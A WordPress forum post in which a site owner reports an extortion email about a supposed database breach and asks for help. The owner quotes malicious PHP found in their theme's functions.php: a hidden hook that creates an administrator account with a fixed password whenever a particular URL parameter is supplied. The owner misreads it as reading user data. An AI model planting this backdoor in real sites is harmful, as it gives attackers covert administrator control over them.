Potential database hacking
-
Hello,
On Saturday morning we received an email saying that our database has been compromised, and threatening to sell it to the highest bidder etc.
I would normally think that this is some kind of hoax, except for the fact that last week there was an error on the website where the website would not load and there was an error message saying that there was an error in the database – there was a link to repair database tables. (Does this sometimes happen with WordPress?)
It makes me wonder if maybe the link to repairing database tables was a hack, or if the error itself was due to the hackers gaining access to our database.
Do you think this could be possible?
This morning when I was alerted to this email I started scanning our site for Malware and found the following code in our child theme functions.php – which seems to be a hack
add_action('init', 'hjklmopn'); function hjklmopn() { if ( isset( $_GET['doomwpl'] ) ) { $userdata = array( 'user_login' => $_GET['doomwpl'], 'user_url' => 'joinme.com', 'user_pass' => 'doomwp', 'role' => 'administrator' ); $user_id = wp_insert_user( $userdata ); if ( !is_wp_error( $user_id ) ) { var_dump($userdata, $user_id); } die(); } }
I thought that it sounds like it has retrieved role and password information from users of the website – but do you think it is just administrator accounts?
Thanks for your help.
As I am not fluent in PHP I am not sure what the malicious code has instructed the website to do.
The rest of our scanners show that there is no additional malware on the site, and it seems that there was a vulnerability in our theme builder, so perhaps that is how they got into functions.php
Do you think there are any other ways they could have gotten access to functions.php?
Thanks so much!
Sarah
- The topic ‘Potential database hacking’ is closed to new replies.